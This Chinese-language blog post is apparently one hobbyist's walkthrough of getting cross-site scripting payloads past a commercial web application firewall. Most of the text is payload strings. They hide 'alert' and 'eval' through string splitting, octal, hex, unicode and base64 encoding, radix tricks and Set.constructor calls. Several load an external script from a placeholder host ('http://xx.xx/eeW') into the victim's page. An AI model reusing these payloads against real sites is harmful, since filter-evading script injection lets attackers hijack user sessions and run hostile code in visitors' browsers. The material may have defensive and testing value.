对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。
前几天花了10买了一个月的服务器,换个waf来测试。
遗漏标签就不测试了,上一篇水文的分享的标签也可以过,不信找几个试试= =
好吧非常打脸,拦截了。
然而换个prompt()函数???免费版当然是这样的啦,高级服务不仅我买不起,还绕不过啊,而且我不是真正的站长,规则我也不会设啊,总之就是这也不会那也不会。
还记得上篇的top属性嘛
实际上可以利用的还有好几个,看到这里各位是否get到什么了。
我们可以利用的类似拼接的对象又多了几个,例如:
//一家人就是要整整齐齐<details open ontoggle=top['al'%2B'ert'](1) > <details open ontoggle=self['al'%2B'ert'](1) > <details open ontoggle=parent['al'%2B'ert'](1) > <details open ontoggle=frames['al'%2B'ert'](1) > <details open ontoggle=content['al'%2B'ert'](1) > <details open ontoggle=window['al'%2B'ert'](1) >
这些都可以绕过waf,总结起来有 top
self
parent
frames
content
window
,无疑top
是最短的,所谓短小精悍,这里借用PKAV的一张ppt。
除了拆分构造,我们必须要了解还有编码,这个确实是老生常谈的话题,先看个例子吧
将e字母url编码,成功弹窗也绕过waf。
<details open ontoggle=top['al%65rt'](1) >
其他编码
JS8编码:<details open ontoggle=top['al145rt'](1) > <details open ontoggle=top['141154145162164'](1) > JS16编码:<details open ontoggle=top['alx65rt'](1) > 其他<details open ontoggle=top[/al/.source%2B/ert/.source](1) >
parseInt()
例子: alert
字符串用parseInt函数
,以基数为30转化后为8680439
toString()
例子: toString函数
将返回的数字8680439
,以基数为30还原
这样你就能理解下面这个例子了。
<details open ontoggle=top[8680439..toString(30)](1); ><details open ontoggle=top[11189117..toString(32)](1); >
例1
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
这个例子很巧妙,将alt
和lang
属性分别赋值合并起来就是alert
,并在top属性内将2个属性相加。
例2
<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)
测试下,拦截了。
其实waf拦截的是alert这个关键字,换个prompt()
函数就过了
也可以选择将alert(1)
编码,因为有eval存在啊,直接拿来用
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))> <details open ontoggle=top[a='al',b='ev',b%2ba]('141154145162164506151')> <details open ontoggle=top[a='al',b='ev',b%2ba]('u0061u006cu0065u0072u0074u0028u0031u0029')>
setTimeout()函数也是没问题的,毕竟也能执行代码。
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('141154145162164506151')>
waf拦截
<svg/onload=setTimeout`alert(1)`>
编码下,就绕过了。
<svg/onload=setTimeout`alertu0028233u0029`>
与setInterval
不同,对于setTimeout()
只执行code一次。
<svg/onload=setInterval('al'%2b'ert(1)')>
绕过waf,引用外部js。
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
拆分与编码 <svg/onload=u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')> <svg/onload=u0073etInterval(appendChild(createElement('sc162ipt')).src='http://xx.xx/eeW')> <svg/onload=u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')> <svg/onload=u0073etInterval(u0061ppendChild(u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')> 结合函数: <iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') > <svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') > <svg/onload=s=u0063reateElement('scr'%2b'ipt');u0062ody.u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >
关于运用基于DOM的方法创建和插入节点把外部JS文件注入到网页,这种方法在<<XSS跨站脚本gj剖析与防御>>有介绍过。我这里简单演示下,如果你了解或者不感兴趣可以跳过这段。
首先用createElement方法
创建一个script标签。
接下来给<script>的src属性
设置成外部url
可以看到<script>标签以及src属性已经被创建出来,但是并不在页面上输出啊。
我们就要用到appendChild()方法
将变量s插入页面。
再来看看页面上
少年!Post
到什么了没有。
又是拆分。。注意后面的()
<svg/onload=Set.constructor('al'%2b'ert(1)')()>
反引号我看行。。注意后面2个反引号。
<svg/onload=Set.constructor`alx65rtx28/xss/x29```>
又来引用外部url。编码拆分以及结合函数,请参考上章= =,不然我怕有人说我水。。。
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>
咳咳,该补充的还是要补充的,除了 Set 对象还有嘛?当然有的。
看些例子,都可以弹窗。
来个简单拆分。
总结起来就是Set.constructor
Map.constructor
clear.constructor
Array.constructor
WeakSet.constructor
(注意区分大小写的)
<svg/onload=Set.constructor`alx65rtx28/xss/x29```> <svg/onload=Map.constructor`alx65rtx28/xss/x29```> <svg/onload=clear.constructor`alx65rtx28/xss/x29```> <svg/onload=Array.constructor`alx65rtx28/xss/x29```> <svg/onload=WeakSet.constructor`alx65rtx28/xss/x29```>
引用外部…
vulnerability-lab.com
swisskyrepo/PayloadsAllTheThings
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.